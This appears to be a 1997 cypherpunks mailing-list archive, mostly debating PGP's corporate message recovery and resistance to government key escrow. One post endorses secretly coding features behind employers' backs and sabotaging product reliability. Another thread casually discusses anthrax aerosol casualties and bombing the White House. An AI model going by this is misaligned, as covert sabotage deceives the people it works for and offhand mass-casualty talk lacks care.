> violate principles 1, 2 or 3 it is in general more GAK resistant to
> enforce as far as possible that the recovery or escrow information
> remains in as close proximity to the data as possible, and as much
> under the control of the user as possible.

So if you are using an X-terminal, your passphrase will be going over
the ethernet, and all the files will be on a unix box.  About all you
can do about this to minimise security problems is to try to secure
your ethernet with IPSEC technology.  This is not currently very
widely deployed especially for intranet use.

Certainly if you are using your X-terminal to connect to machines over
the internet many companies have taken steps to reduce the dangers of
this.  VPN systems, and SSH achieve this kind of thing.  IPSEC and VPN
technology are typically fairly GAK resistant anyway, because use of
forward secrecy is common.

The overall system is _still_ more GAK resistant than CMR for the
sorts of logistical reasons that Tim May has been describing.  You may
like to comment on this claim which I am willing to defend.

> > Recovery method:
> > 
> > Custodian of recovery key inserts recovery floppy disk in machine,
> > decrypts copy of users private key, hands control back to user to
> > choose new passphrase.
> 
> Must be a very special boot floppy, of course, otherwise I just 
> subvert the floppy driver, feign forgetting my passphrase, and 
> collect the corporate crown jewels.  Or I hack into somebody else's 
> system and corrupt their key...

You can hack around it, and this is implicitly acknowledged.  The
point is that in trying to design the system so that it must be hacked
around before allowing easy use in a mandatory GAK setting you have
built in extra GAK resistance in the form of the deployment and
logistical problems the government will have in developing, and
deploying patches and making sure every one applies them.

> [...]
> > 
> > - what is stopping you implementing this
> 
> It's completely unrealistic.

It was stated in it's simplest possible form for clarity.

It is however possible to build resistance into the system in the form
of inertia of the deployed code base in not providing automated ways
to access the recovery information outside of the software package.

Bill Stewart came up with the very good suggestion for example that
you only keep some of the bits of the recovery key to ensure that
recovery appears is artificially made time consuming.  This means that
with out replacing your software base, the government has a much
harder time installing GAK.  This also has the social benefit of
discouraging companies from using what are intended to be data
recovery features as snooping features.  This is exactly the sort of
lateral thinking that I am hoping to encourage.

> > - are there any plug ins which can't cope with this
> > - are there user requirements which it can't meet
> > - is there some fundamental flaw you think I have missed
> > - can you see ways that this could be perverted to implement GAK
> >   (yes I can too, btw, but...)
> > - are those ways logisitically harder for GAKkers to acheive than for CMR
> > 
> > Please be specific, no general waffle about understanding the
> > complexities of balancing user ergonomics, user requirements etc.
> 
> Unfortunately, for real products you do have to consider these 
> factors. 

I fully agree that you have to acknowledge user ergonomics and user
requirements.  What I was asking was that people in criticising my GR
design principles explain which user requirements they think can not
be met, or which user ergonomics features are hindered.  I also
explicitly state in design principle 4 that you should balance these
considerations to maximise the global GAK resistance of the deployed
software and hardware in the target jurisdiction.

> > principle 3:
> >    communications should be encrypted to the minimum number of
> >    recipients (typically one), and those keys should have as short a
> >    life time as is practically possible
> 
> Key lifetime is a major issue.  Keys are either protected by 
> pass-phrase, or vulnerable.  Think about how you are going to 
> generate new keys every day, or every week...

Perhaps if I give some examples of how some one designing a protocol
according to these principles might proceed in this direction it would
be clearer how to minimise the impact on ergonomics without losing
security to the extent that it allows government access simply as a
property of the induced weakness.  (In otherwords I am willing to
trade security for extra GAK resistance if it comes to it, but
typically does not seem to be required as GR design principles 1, 2,
and 3 are independently sound security objectives).

Companies would protect all keys by password, or by smart card token,
or by secured facilities or just by the nature of it being sufficient
for their security requirements to rely on the same weak physical
security which protects their paper files.

So: the signature key does not have recovery information -- I think
this is agreed by all.  The storage key used in encrypting information
on your disk is has recovery information stored as described.  The
shorter lived forward secret keys could be also recovery protected
(during their lifetime).  PGP 5.x already has this feature.  Consider
the encryption keys to be your forward secret keys.  Give them shorter
than normal expiry dates.

Your next comment is very pertinent in demonstrating the sorts of
problems you must work around in attempting to maximise use of forward
secrecy.

> Think about off-line composition of email -- I have a laptop, download
> my mail from the pop server, compose email.  Now I can't store my
> friends public keys on my disk, because they expire every day.  So I
> have to go to the public keyserver for every correspondent's public
> key -- if the keyserver is unaccessible I'm out of luck.  This
> radically changes the expected semantics of email.

I have 2 comments on this problem:

Consider: a system which automatically adapts and is forward secret
when it is able but not when it is not possible is more GAK resistant
than one which never uses forward secrecy at all because of the
existance of some situations where it is difficult to use.

Consider also: a system which is relatively forward secret (perhaps
with key updates every week, or month) is more GAK resistant than one
which makes no frequent key recommendations and leaving people to
choose long expiries of 1 year or with user no comments made on the
dangers of not having expiries at all is more dangerous.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Oct 1997 02:59:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Anthrax Bombs
In-Reply-To: <v0300780cb06157ccb00a@[207.94.249.179]>
Message-ID: <v0300780eb06c0ffafbdb@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Buenos dias, folks. Just got back from Chile...

At 13:28 -0700 10/8/97, Tim May wrote:
>(As is well-known, or should be, folks survived Hiroshima and Nagasaki as
>close as 400 meters from ground zero. And they were both roughly 20 KT
>nukes. Inasmuch as the blast effects scale as the cube root of megatonnage,
>a 2 KT blast might be expected to be survivable as close as a few hundred
>meters or even less. Of course, some will die even out at a 1000 meters,
>but not many.)

I'm sitting here in my office between 17th and 18th streets just north of
the White House (which is at 16th and Pennsylvania) trying to calculate
blast radius. I suspect that if I'm in my office, I _could_ survive the
radiation -- if Tim's figures are correct.

It would help, of course, if anyone bombing the White House would do it
from the _Mall_ side of the building (the south side) rather than the north
side, which would be about four blocks closer to me.

But I'm more worried about the shock wave and firestorm that would follow
such a blast. I'm on the eighth floor of a large office building. I figure
I don't stand much of a chance.

>By comparison, anthrax bacillus is relatively easy to manufacture, and
>aerosol dispersion could kill hundreds of thousands or more before even
>being detected. Aerosolized dispersion in Washington or Manhattan could be
>a far worse human and infrastructure disaster than a suitcase nuke.

It might kill or harm more people, but it doesn't have the viceral,
psychological impact of a nuke. Let's hope the terrorists stay away from
biowar. At least until I move to West Virginia.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Oct 1997 03:37:50 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: America as a Shake Down Extortion State
In-Reply-To: <800ba9b5ce70bcdb069766023ed9e797@anon.efga.org>
Message-ID: <v03007810b06c15543dd6@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Certainly I trust the courts at least a little more than I do the
legislature. The current Supreme Court, for example in the _McIntyre_ case
and the CDA, has been quite good on traditional free speech cases.

But courts are much more deferential to the government on national security
issues, even trumped-up ones. While the right to speak privately is (I
believe) an important free speech issue, traditional jurists may be
reluctant to agree.

In other words: don't rely on the current Supreme Court to overturn a
mandatory-GAK law, especially if it has holes cut out of the escrow fabric
for corporations, etc.

-Declan



At 19:21 -0400 10/10/97, Ryan Anderson wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 01:32 PM 10/10/97 -0400, Anonymous wrote:
>>>Actually, I think it's a little more likely that they'll get disgusted with
>
>>>Congress, and collect some money for the ACLU to use to pay their lawyers
>in
>>>the instant filing of the consitutionality challenge.
>>>
>>>Seems to be a much more productive way to spend your money (long-term).
>>
>>Bullshit!  Fuck the lawyers!
>>
>>By wasting time and money in the courts bickering about the stupid laws that
>
>>buffoons in Congress pass in order to justify their existence, we are only
>>ignoring the real issue: you cannot use the system to change the system.
>
>That's the point - you ignore the legislation until it becomes a problem for
>you.  Then you challenge it and get a legal precedent to stop it from
>happening again.
>
>The judicial system is in *much* better shape than the legislative system
>(even though they are strongly related)
>
>This, however, is not to say that the judicial system is in good shape.
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQCVAwUBND64fDc3ytqHnNyNAQFdUwP+NxJiiOfCxa8b6ONY0sLxFt8+NZBcf0fr
>WkYH4xA33a+Q1B81YL0CNQqxRpVue+CWh0Qp1JLKIHZjKrI/hMHmo/znCpJO6uDP
>4BRzq8LauWF8OTKT/r7Q2dJbqSs1ISb9FZE3FOYK0lb0By7w+TfiRXzUwTkYCH6E
>7vKvV/4PsuU=
>=5vpe
>-----END PGP SIGNATURE-----
>
>
>-----------------------------------------------------------------------
>Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
>Wayne State University - CULMA   "May you live in interesting times.."
>randerso@ece.eng.wayne.edu
>PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
>-----------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Right Guy <trg@dev.null>
Date: Fri, 17 Oct 1997 05:31:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: fallacy alert!
In-Reply-To: <199710152321.AAA01692@server.test.net>
Message-ID: <3446840B.6959@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote: 
> Anonymous writes:
> > I thought that was the whole point of the PGP design.  It makes the
> > presence of third parties clear and visible to all participants.  This
> > seems to be the fundamental principle.
 
> I have noticed serveral PGPers use this fallacy also.
...
> It matters not one whit what `statement of intent' you mark PGP CMR
> extended public keys with.  That statement is semantically meaningless
> as a design principle because it is utterly unenforceable.

Since I am always right, let me give you the benefit of my thoughts on
a few things. (No need to bow at my feet, I'm always willing to help.)

  I have no doubt that the government's framing of the Escrow/Recovery
debate has had an influence on those companies who wish to be compliant
enough with emerging standards to remain in business.
  In a perfect world, those with 'good intentions' would have the time
and resources to do things totally 'right,' both in a technological
manner and in exercising the highest standards of principles and
ethics. In reality, the industry is moving so fast that any company
who dallys about, trying to make the perfect product, might well
find that 'Pretty Freeh Privacy' has the encryption market locked
up, and besides, they don't make Intel CPU's any more--that was 
_last_ week.

  PGP is being castigated for, by way of analogy, not producing a
gun that can _only_ be used for self-defense, and _not_ for killing
the (imaginary) innocent.
  Unfortunately, for PGP, this is not unreasonable, since PGP's 
reputation capital was built on a level of standards and integrity
which go far beyond *only* business concerns.
  Phil Zimmermann, before he sold out his principles (just kidding!),
wrote a documentation for PGP which did not contain a Madison Avenue
pitch assuring the user that if they used PGP on their work machine,
they could let rapists and murders use it, without fear of their
encrypted home address being compromised.
  I truly believe that much of PGP's reputation is a result of people
reading the documentation and having the program's author point out
the _weaknesses_ and _vulnerabilties_ in his product, pointing out
what it could and could _not_ do.

  I respected the points that Jon was making in his first long post
defending PGP's new product, but I was also saying, "Bullshit!" as
I read on. Why? Because while the benefit of the software lies in
what it _does_ do, the danger lies in what it _doesn't_ do.
  How can Jon convince me that the PGP product is their best possible
effort, to date, and that PGP will strive to improve the product's
ability to resist misuse by fascists, while giving the individual
user as much knowledge and control as possible in the product's use?
He can do so by telling me that he wakes up at night, screaming, in
fear of having helped to create the crytp equivalent of the atomic
bomb, when the product is in the hands of the fascists. (Not that
I expect him to be stupid enough to say this on the product packaging.)

> There can be no enforcement of statement of intents.  All you can do
> is hope that companies are not lying; encourage them to behave in ways
> which you consider ethical.

  Governments, corporations and crypto munitions don't kill people.
People kill people.
  When death camps are computerized, the software used will be named,
"I Am Just Following Orders."
("I don't put the in in the gas chambers, I just boot the computer.")

  I have to admit to being somewhat amused by Jon taking a Cypherpunk
to task for being loud, rude, and ranting. Is this your first time
on the list, Jon?

The Right Guy
~~~~~~~~~~~~~
Tomorrow: The Solution to World Peace





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Oct 1997 06:40:30 +0800
To: cypherpunks@toad.com
Subject: Re: FC: FBI is allowed to keep file on civil rights leader (fwd)
Message-ID: <Pine.GSO.3.95.971016151728.10158E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 16 Oct 1997 18:01:46 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: declan@well.com
Subject: Re: FC: FBI is allowed to keep file on civil rights leader

>
>	<B>FBI allowed to keep file on New York man's lawful activities<P>
>	WASHINGTON (AP) - The Supreme Court today refused to order the FBI
>to purge its file on lawful activities by the former head of a charitable
>foundation.

Classic error for a news report on the Supreme Court.

The Supreme Court denied cert. Lance Lindblom v. FBI, 97-82,
Oct. 14, 1997.  It did not rule on the merits of the case.

The Court did not order the FBI to purge the files. It did
not tell the FBI to buy Mr. Lindblom a cup of coffee. It
simply decided not to review the decision of the lower
court.

Welcome back.

M.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Oct 1997 04:33:48 +0800
To: Stanton McCandlish <mech@eff.org>
Subject: Re: pro-crypto govt. people
In-Reply-To: <199710161900.MAA15010@eff.org>
Message-ID: <v03007816b06c1d7a2802@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Andrew Grosso is the former prosecutor. I've also been chatting with Bruce
"I wrote the CDA" Taylor to see what his views are, but I suspect he'll
fall into line with his pals at the DoJ. Last week after a TV show I was
telling Donna Rice-Hughes about how crypto can protect against stalkers,
but I don't know if she understood my argument.

Others will be able to suggest many more people, I'm sure. I'm still
frazzled from my trip. Yesterday I was wandering around Chile's socialist
museum; the day before I was climbing an active volcano in the south.
//yawn//

-Declan


At 12:00 -0700 10/16/97, Stanton McCandlish wrote:
>This year I recall seeing 1 former prosecutor saying that widespread
>encryption was good and/or that GAK was bad, and 1 military or former
>military person of fairly high status saying that GAK was bad. Circa
>1994-5 I also recall a military or retired miltiary person of rank
>reporting that very widespread crypto would be a boost to national
>security.  We could really use these people's, and similar people's, words
>in pro-crypto efforts. Unfortunately, disk problems a while back cost me
>most of my old mail, including all of these saved items. If anyone has
>them and/or knows who these people are, please let me know.
>
>--
>Stanton McCandlish                                           mech@eff.org
>Electronic Frontier Foundation                           Program Director
>http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
>Are YOU an EFF member?                            http://www.eff.org/join



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Fri, 17 Oct 1997 04:34:10 +0800
To: dagenais@videotron.ca
Subject: Re: Liberal lawyer joke  from Cdn-Firearms Digest V2 #34
In-Reply-To: <199710161358.JAA06467@smtp2.sympatico.ca>
Message-ID: <199710162030.QAA07835@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 16 Oct 97 at 9:58,somebody  wrote:

> Research labs are increasingly replacing rats with lawyers.
> 
> There are three reasons for this:
> 
> 1. The lawyers are in abundant supply
> 2. The lab workers do not develop any kind of emotional attachment to lawyers
> 3. There are things you just can't get a rat to do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 16 Oct 1997 23:43:27 +0800
To: gbroiles@netbox.com
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <3.0.3.32.19971015183740.008cad00@mail.io.com>
Message-ID: <199710161530.QAA22810@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Greg Broiles <gbroiles@netbox.com> writes:
> Tim May <tcmay@got.net> wrote:
> 
> >Truly sensitive stuff--stuff about takeovers, foreign production plans, new
> >products, etc.--will be encrypted with channels having no nosy security
> >guards or Corporate Crypto Compliance Police silently listening in.
> >
> >Which means we're back to square one. So why does PGP, Inc. bother?
> 
> Because they've got customers who will pay for CAKware. 

I have tried to express this trade off, and to make suggestions of how
to work within this frame work to hinder GAK take up:

(from http://www.dcs.ex.ac.uk/~aba/grdesign/:)

Principle 4: deployment wins. Violating any of principles 1, 2 or 3
whilst still remaining better than GAK-neutral can be justified where
deployment is thereby increased to the extent that the reduced GAK
resistance of the product can be justified by the overall increase in
GAK resistancy in the target jurisdictions. This can be expressed
loosely as the equation: introduced resistancy = deployment x
resistancy rating

Corollary 4: Where a profit function outside the individuals control
interferes with GR maximisation of principle 4, continuing in this
environment may be justifiable where this tactic helps promote global
GAK resistance in the target jursidiction. Examples of novel ways of
making the best of this imposed profit function overlayed on the
solution space of designs may be: attempts to subvert standardisation
processes to make the standards GAK resistant even for GAK neutral
developers, or to code GAK resistant implementations for GR-neutral
employers without informing them of these coding decisions, or to
promote GR implementation and protocol design to contacts in the
cryptographic developer community, or to anonymously release useful
proprietary GR optimisation technology, or to sabotage ergonomics or
reliability functions in implementations of very low GR rated designs.

> Why will customers pay for it? Same reason the FBI wants GAK, even though
> motivated/well-informed crypto users will superencrypt or otherwise bypass
> the enforcement mechanisms. If you're the C in CAK or the G in GAK, access
> to some data is better than access to no data - and the possibility of
> enforcement radically alters the risk/benefit calculus of even intelligent
> actors who see their interests as contrary to those of the [C,G]. 

I agree.

> As Jon Callas confirmed at the recent Cpunks physical meeting, the current
> CAK/CAM/whatever system has very weak code re policy enforcement - for
> example, it'll allow otherwise forbidden messages to pass through its
> filters if even the "--- BEGIN PGP MESSAGE ---" lines are altered or
> removed. It won't disassemble tar or zip or uuencode packages, or otherwise
> attempt to discover simple attempts to bypass the enforcement mechanisms.
> They're not trying to stop determined covert communicators - that's not
> their threat model.

It is a property of fielded systems that the majority of users will
work within the functionality provided by it.  This property can be
used by all 3 sides of the debate.  It is a politically neutral
mechanism.

1. It can be used by PGP Inc (who evaluate the tradeoffs between
socially desirable properties and ergonomics and come up with the
belief that CMR optimal solution).  They point out (rightly) that the
fact it is possible to easily hack around demonstrates some GAK
resistance.  I would argue however that it is not a very great
addition.  I have been trying to persuade PGP Inc that it is possible
to implement more highly GAK resistant products within their profit
function and user requirement set using the CDR (corporate data
recovery).

2. It can be used by people such as us who consider different
tradeoffs to be optimal, in that we can field systems which make it so
that the system has to be hacked before it could be used for GAK.  The
obfuscation can always be hacked around, almost by definition, but a
large beaurocratic organisation such as a government will find it
difficult logisitically to organise the development of GAK enabling
patches, and deploy these, and to persuade people to apply the
patches.

3. It can be used by people such as perhaps TIS who have cost
functions highly sensitive to not upsetting the government, and
therefore field on behalf of government GAK enabled systems.  They can
make it as hard to hack around as they can.  The difficulty of hacking
around and the difficulty of widely deploying the cypherpunks
"anti-gak patch for TIS mandatory GAKware v1.0" means that they partly
succeed.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Date: Fri, 17 Oct 1997 06:37:51 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:proposal: commercial data recovery
In-Reply-To: <199710161410.KAA29078@beast.brainlink.com>
Message-ID: <199710162154.OAA01432@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Will Price wrote:
> In your model, the recipient automatically
> decrypts and then re-encrypts to a data recovery key -- even though
> end-user computers are likely to be insecure thus making this decrypt &
> reencrypt step rather specious at best.

The value of this security model escapes me -- if the receiver's
machine is insecure, you lose, period.  Please, let us assume that
neither endpoint is controlled by an attacker.

You are concerned that the recipient is re-encrypting with a key whose
access characteristics are unknown to the sender.  Now, for all the
sender really knows, the recipient may be storing the message in the
clear, or maybe putting it on a Times Square billboard.

This is not a cryptographic failure.  In your CMR system as well, the
sender has no choice but to trust the recipient's integrity and data
hygeine -- or to not send the message.  The headers could contain a
request as to the eventual disposition of the message, but there are
never any guarantees.

> As an actual data recovery system, it also fails fundamental tests.  If I
> encrypt critical data to a colleague wiping it from my system after
> sending, then the colleague is incapacitated before receipt and processing
> of the message, the data can never be retrieved.  

Forget bus-struck colleagues, think unreliable messaging -- if you do
this and your e-mail is lost in transit, your "critical data" is lost.
So don't do this.

> A data recovery system
> must solve this kind of issue -- data recovery here means that from
> end-to-end the data is recoverable in case of emergency.  One cannot ignore
> message transit time in this -- it can take days for a message to travel
> from AOL to the outside world.

I'm not seeing how transit time figures in here.  Are you proposing to
bypass it by sending in an emergency team to acquire the in-transit
message from the AOL machine room?  If you find this practical, you can
even retrieve an un-CMRed message by putting the recipient on this
emergency team.  But as I said, this situation should never be allowed
to arise.

Data recovery means you can get the data.  It doesn't specify which copy
you get decrypt.  For reliable transmission over an unreliable medium,
the sender must not destroy the original until receipt has been
confirmed; for stored-data recovery, "receipt" involves appropriate
re-encryption.  (A reliable medium simply involves shoving all of this
down into the messaging protocol.)  So reliable transmission can support
data recovery, from one end or the other, without message recovery.

You might ask what happens if both endpoints are struck by meteorites.
If the data is critically important, it will have been replicated off
the sender's disk.  The bottom line is that no such data can be trusted
solely to an AOL mailserver (of all things).

> If you don't need data recovery, don't use
> it, but at least respect the people who do need it and need it to actually
> work at all points.

I'm no protocol designer, but I'd have more respect for this system if
explanations for its necessity seemed to have been fully thought through.
The issue of communications keys versus storage keys has been discussed
before; I don't believe I'm raising any novel issues.  Did PGP Inc.
consider and reject stored-data recovery (if so, what were the good
reasons?), or are we seeing a retroactive explanation here?

-- 
     Eli Brandt  |  eli+@cs.cmu.edu  |  http://www.cs.cmu.edu/~eli/
     (on FCPUNX, cc'ed replies appreciated)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Fri, 17 Oct 1997 07:45:09 +0800
To: cypherpunks@toad.com
Subject: Internet Tools For Your Business (fwd)
Message-ID: <199710162323.SAA00372@enteract.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from prectimes@mail2.c-flash.net -----

>From prectimes@mail2.c-flash.net Thu Oct 16 17:27:18 1997
From: prectimes@mail2.c-flash.net
Message-Id: <199710162227.RAA18064@enteract.com>
Date: Thu, 16 Oct 1997 11:17:49 -0400 (EDT)
Subject: Internet Tools For Your Business

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----- End of forwarded message from prectimes@mail2.c-flash.net -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 17 Oct 1997 02:40:47 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: re: consensus on pgp? can we consolidate for action?
Message-ID: <19971016.182558.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    after I mailed the rant, I thought maybe the paragraph below
    was incomplete:

#   of course, I may be presumptuous PGP would even want to hear
#   from us, let alone have any form of "Cypherpunks Inside" 
#   (yuk) label on the box! particularly with the round robin 
#   multi-teaming of the sleepless Jon Callas.
#
    should have said
    
        ..."Cypherpunks Inside" label on the box: of course, 
        they might it consider it preferable to being labeled:

                "Big Brother Inside"
#
#
        this has been an addendum to an attila rant...

        attila, out, again, one more time....

  it aint over 'til the fat lady sings and vahalla is burning!

 "attila" sig: 1024/C20B6905/23D0 FA7F 6A8F 6066 BCAF AE56 98C0 D7B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNEZc+L04kQrCC2kFAQE1AwP/W+BJ+a2rGhTh90lnMqt8RZCTOtmpWYrl
DMCQ+zojBnfRAkzZ/ethdnXYNgOlCRV/xWejMgOjLxlp3LDiAfzdgJM+u4ZCbZR3
Dvmkfs8uu8oK8E+3Ztb/H3XovXM6pxUtwoEaJKlOScBw2ypLFER3aZe1SVLnmDeb
P9vIBbx5j+4=
=NOox
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 17 Oct 1997 09:38:09 +0800
To: mkg-ft@point-net.com>,       e$@thumper.vmeng.com
Subject: Re: Liberal lawyer joke  from Cdn-Firearms Digest V2 #34
In-Reply-To: <199710161358.JAA06467@smtp2.sympatico.ca>
Message-ID: <v03102805b06c6f8cb3c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:26 PM -0700 10/16/97, jf_avon@citenet.net wrote:
>On 16 Oct 97 at 9:58,somebody  wrote:
>
>> Research labs are increasingly replacing rats with lawyers.
>>
>> There are three reasons for this:
>>
>> 1. The lawyers are in abundant supply
>> 2. The lab workers do not develop any kind of emotional attachment to
>>lawyers
>> 3. There are things you just can't get a rat to do.

Just a word: the "lawyer jokes" sent out recently are at least 10 years old.

Calling them "liberal lawyer" jokes doesn't make them any fresher.

I suggest original content, in the form of essays or analyses, is better
than stale old lawyer jokes.


--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Oct 1997 02:10:28 +0800
To: jon@pgp.com
Subject: PGP Inc apology deal (was Re: anti-GAK design principles: worked example #1)
In-Reply-To: <3.0.3.32.19971015190021.00ae9730@mail.pgp.com>
Message-ID: <199710161758.SAA23468@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




To reply to Jon Callas request for an apology for my rudeness, I'll
offer a deal:

- If I am unable to show you how to improve the GR (GAK resistance)
  property of a fully viable, implementable email security system within
  your choice of user requirement, ergonomic, and typical corporate
  environments restrictions, I will publically apologize for being
  rude, and for wasting your time.

- However, in return: if I am succesful in proving to PGP Inc that they
  can improve the GR property of an email security system within their
  requirements, I _don't_ want an apology.  

  I want something much more interesting: 

	I want PGP Inc to implement and deploy it.

- The group which will judge this process is PGP Inc.

Do we have a deal?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Oct 1997 02:39:35 +0800
To: jon@pgp.com
Subject: PGP Inc apology deal (Re: anti-GAK design principles: worked example #1)
In-Reply-To: <3.0.3.32.19971015190021.00ae9730@mail.pgp.com>
Message-ID: <199710161803.TAA23821@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




To reply to Jon Callas request for an apology for my rudeness, I'll
offer a deal:

- If I am unable to show you how to improve the GR (GAK resistance)
  property of a fully viable, implementable email security system within
  your choice of user requirement, ergonomic, and typical corporate
  environments restrictions, I will publically apologize for being
  rude, and for wasting your time.

- However, in return: if I am succesful in proving to PGP Inc that they
  can improve the GR property of an email security system within their
  requirements, I _don't_ want an apology.

  I want something much more interesting: 

	I want PGP Inc to implement and deploy it.

- The group which will judge this process is PGP Inc.

Do we have a deal?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@atlas.ex.ac.uk>
Date: Fri, 17 Oct 1997 02:25:36 +0800
To: jon@pgp.com
Subject: PGP Inc apology deal
Message-ID: <20316.9710161810@atlas.dcs.exeter.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




To reply to Jon Callas request for an apology for my rudeness, I'll
offer a deal:

- If I am unable to show you how to improve the GR (GAK resistance)
  of a system with a similar set of recovery properties to the CMR
  system; which replacement design is vialble to use in a typical
  corporate environment I will publically apologize for being rude,
  and for wasting your time.

- If I am able to show you how to improve the GR (GAK resistance)
  of a system with a similar set of recovery properties to the CMR
  system which replacement design is vialble to use in a typical
  corporate environment, I _don't_ want an apology.

  I want something much more interesting: 

	I want PGP Inc to implement and deploy it.

- The group which will judge this process is PGP Inc.

Do we have a deal?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 17 Oct 1997 08:10:32 +0800
To: Lizard <mech@eff.org>
Subject: Re: pro-crypto govt. people
In-Reply-To: <v03007816b06c1d7a2802@[168.161.105.141]>
Message-ID: <v031107ceb06c4f9f900d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:23 pm -0400 on 10/16/97, Lizard wrote:


> At 04:08 PM 10/16/97 -0400, Declan McCullagh wrote:
> >Last week after a TV show I was
> >telling Donna Rice-Hughes about how crypto can protect against stalkers,
> >but I don't know if she understood my argument.
>
> Stick to words of one syllable. Hmmm...
> "If you make words hard to read, bad men will not find you."

